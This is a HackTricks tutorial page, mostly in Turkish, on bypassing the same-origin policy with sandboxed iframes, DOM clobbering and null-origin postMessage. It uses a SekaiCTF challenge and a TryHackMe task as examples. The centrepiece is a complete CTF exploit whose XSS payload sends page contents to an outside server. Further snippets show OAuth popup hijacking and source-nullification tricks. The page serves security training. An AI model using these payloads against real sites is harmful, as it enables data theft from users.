Bypassing SOP with Iframes - 2

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Iframes in SOP-2

Bu solution için bu challenge, @Strellic_ önceki bölüme benzer bir yöntem öneriyor. İnceleyelim.

Bu challenge’da saldırganın bunu bypass etmesi gerekiyor:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Eğer yaparsa, sayfaya temizlenmeden (XSS) innerHTML ile yazılacak HTML içeriği içeren bir postmessage gönderebilir.

The way to bypass the first check is by making window.calc.contentWindow to undefined and e.source to null:

  • window.calc.contentWindow aslında document.getElementById("calc")’dir. You can clobber document.getElementById with <img name=getElementById /> (note that Sanitizer API -here- is not configured to protect against DOM clobbering attacks in its default state).
  • Bu yüzden, document.getElementById("calc")’i <img name=getElementById /><div id=calc></div> ile clobber edebilirsiniz. Then, window.calc will be undefined.
  • Şimdi, e.source’un undefined veya null olması gerekiyor (because == is used instead of ===, null == undefined is True). Bunu elde etmek “easy”. Eğer bir iframe oluşturup ondan postMessage gönderir ve hemen iframe’i kaldırırsanız, e.origin null olacaktır. Check the following code
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

token ile ilgili ikinci kontrolü atlatmak için token’i değeri null olarak gönderip window.token değerini undefined yapmak gerekir:

  • token’i postMessage ile değeri null olarak göndermek kolaydır.
  • window.token ise, document.cookie kullanan getCookie fonksiyonunun çağrılmasıyla elde edilir. Unutmayın ki null origin sayfalarında document.cookie’e yapılan herhangi bir erişim bir hata tetikler. Bu, window.token’in undefined değerine sahip olmasını sağlar.

Nihai çözüm @terjanq tarafından following:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

Yakın zamanda TryHackMe görevi (“Vulnerable Codes”), opener’ın sadece scripts ve popups’a izin veren sandboxed iframe içinde bulunduğunda OAuth popups’ın nasıl hijacked edilebileceğini gösteriyor. Bu iframe hem kendisini hem de popup’ı “null” origin’e zorladığı için, if (origin !== window.origin) return kontrolü yapan handler’lar sessizce başarısız oluyor; çünkü popup içindeki window.origin da “null”. Tarayıcı gerçek location.origin’u hâlâ açığa vuruyor olsa da, victim bunu hiç incelemiyor; bu yüzden attacker-controlled messages sorunsuz geçiyor.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Bu yapıdan kötüye yararlanma için çıkarımlar:

  • Popup içinde origin ile window.origin’u karşılaştıran handler’lar atlatılabilir çünkü ikisi de "null" olarak değerlendirilir; bu yüzden sahte mesajlar meşru görünür.
  • allow-popups izni verilip allow-same-origin atlanmış sandboxed iframe’ler yine de saldırgan tarafından kontrol edilen null origin’e kilitlenmiş popup’lar oluşturur; bu da 2025 Chromium sürümlerinde bile size istikrarlı bir izole alan sağlar.

Source-nullification & frame-restriction bypasses

CVE-2024-49038 etrafındaki industry writeup’lar bu sayfa için iki yeniden kullanılabilir primitive’i vurgular: (1) X-Frame-Options: DENY ayarı yapan sayfalarla, onları window.open ile başlatıp navigasyon tamamlandıktan sonra post message göndererek hâlâ etkileşim kurabilirsiniz, ve (2) event.source == victimFrame kontrollerini brute-force edebilirsiniz — bir mesaj gönderir göndermez iframe’i kaldırarak alıcının handler’da yalnızca null görmesini sağlarsınız.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

Bunu yukarıdaki DOM-clobbering trick ile birleştirin: alıcı artık yalnızca event.source === null gördüğünde, window.calc.contentWindow veya benzeri ile yapılan herhangi bir karşılaştırma çöker ve zararlı HTML sinks’lerini tekrar innerHTML aracılığıyla göndermenize izin verir.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin